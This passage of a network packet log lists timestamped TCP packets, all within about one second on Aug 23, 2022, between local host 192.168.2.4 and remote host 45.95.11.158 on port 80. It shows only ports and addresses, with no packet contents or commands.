Aug 23, 2022 03:42:41.407147884 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.407176018 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.407201052 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.407229900 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.407254934 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.407270908 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.407282114 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.407300949 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.407578945 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.407608032 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.407632113 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.407655001 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.407682896 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.407691002 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.407757044 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.407824039 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.407850027 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.407876015 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.407903910 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.408035040 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.408091068 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.408252001 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.408309937 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.408310890 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.408361912 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.408471107 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.408523083 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.408555031 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.408572912 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.408607006 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.408616066 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.408624887 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.408657074 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.408718109 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.408720016 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.408737898 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.408762932 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.408785105 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.408787012 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.408809900 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.408840895 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.408876896 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.408894062 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.408917904 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.408942938 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.408945084 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.408978939 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.408984900 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.408994913 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.409004927 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.409029961 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.409049988 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.409055948 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.409077883 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.409092903 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.409111023 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.409121037 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.409135103 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.409147024 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.409158945 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.409171104 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.409184933 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.409185886 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.409205914 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.409240007 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.409342051 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.410619974 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.410685062 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.410708904 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.410732985 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.410757065 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.410782099 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.410806894 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.410816908 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.410831928 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.410856009 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.410866976 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.410876989 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.410881996 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.410883904 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.410892010 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.410900116 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.410907030 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.410942078 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.410958052 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.411067963 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.411087990 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.411153078 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.411744118 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.411772013 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.411794901 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.411815882 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.411815882 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.411838055 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.411847115 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.411855936 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.411864042 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.411876917 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.411885977 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.411887884 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.411906004 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.411912918 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.411936045 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.411937952 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.411962986 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.411981106 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.411997080 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.412004948 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.412009001 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.412028074 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.412046909 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.412058115 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.412065983 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.412081003 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.417865038 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.417901993 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.417926073 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.417949915 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.417974949 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.417988062 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.418000937 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.418020964 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.418025017 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.418040037 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.418047905 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.418066978 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.418083906 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.418142080 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.418180943 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.418183088 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.418221951 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.418272972 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.418297052 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.418313026 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.418330908 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.418358088 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.418382883 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.418397903 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.418417931 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.418440104 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.418477058 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.418507099 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.418529034 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.418545961 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.418562889 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.436449051 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.436486959 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.436510086 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.436528921 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.436568022 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.436595917 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.438347101 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.438415051 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.438429117 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.438498974 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.438544035 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.438575983 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.438620090 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.438642025 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.438715935 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.438766956 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.438791037 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.438796043 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.438869953 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.438926935 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.438945055 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.438987970 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.439033985 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.439090014 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.439100981 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.439172983 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.439179897 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.439213991 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.439263105 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.439308882 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.439493895 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.439553976 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.439559937 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.439611912 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.439693928 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.439723969 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.439754963 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.439769983 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.439786911 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.439805984 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.439829111 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.439852953 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.439874887 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.439898968 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.439925909 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.439934015 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.439951897 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.439979076 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.439995050 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.440006971 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.440032959 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.440057993 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.440084934 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.440100908 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.440119982 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.440152884 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.440162897 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.440224886 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.440290928 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.440335989 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.440395117 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.440458059 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.440509081 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.440568924 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.440577984 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.440582991 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.440615892 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.440622091 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.440669060 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.440675974 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.440716028 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.440721035 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.440761089 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.440769911 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.440814018 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.440829039 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.440874100 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.440886974 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.440929890 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.440929890 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.440992117 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.440994024 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.441051006 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.441056013 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.441111088 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.441121101 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.441165924 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.441176891 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.441226006 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.441226006 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.441278934 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.441287994 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.441340923 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.441351891 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.441397905 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.441406965 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.441447973 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.441453934 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.441498041 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.441507101 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.441555023 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.441560030 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.441634893 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.441643953 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.441684961 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.441687107 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.441734076 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.441740990 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.441792011 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.441796064 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.441838026 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.441874981 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.441890955 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.441894054 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.441941023 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.441992998 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.441994905 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.442034006 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.442040920 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.442081928 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.442085028 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.442132950 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.442137957 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.442184925 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.442189932 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.442228079 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.442239046 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.442276001 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.443635941 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.443694115 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.443723917 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.443752050 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.443788052 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.443799019 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.443805933 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.443850994 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.443860054 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.443905115 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.443913937 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.443954945 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.443958044 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.444000959 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.444005966 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.444048882 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.444057941 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.444103003 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.444112062 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.444153070 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.444155931 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.444197893 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.444205999 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.444248915 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.444257975 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.444300890 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.444310904 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.444350958 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.444355011 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.444396019 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.444401026 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.444444895 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.444454908 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.444499016 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.444506884 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.444547892 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.444550991 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.444596052 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.444608927 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.444668055 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.444716930 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.444749117 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.444792986 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.444823980 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.444852114 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.444900036 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.444905996 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.444951057 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.444961071 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.445007086 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.445039034 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.445055962 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.445063114 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.445108891 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.445121050 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.445177078 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.445183992 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.445225000 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.445229053 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.445270061 CEST	49743	80	192.168.2.4	45.95.11.158
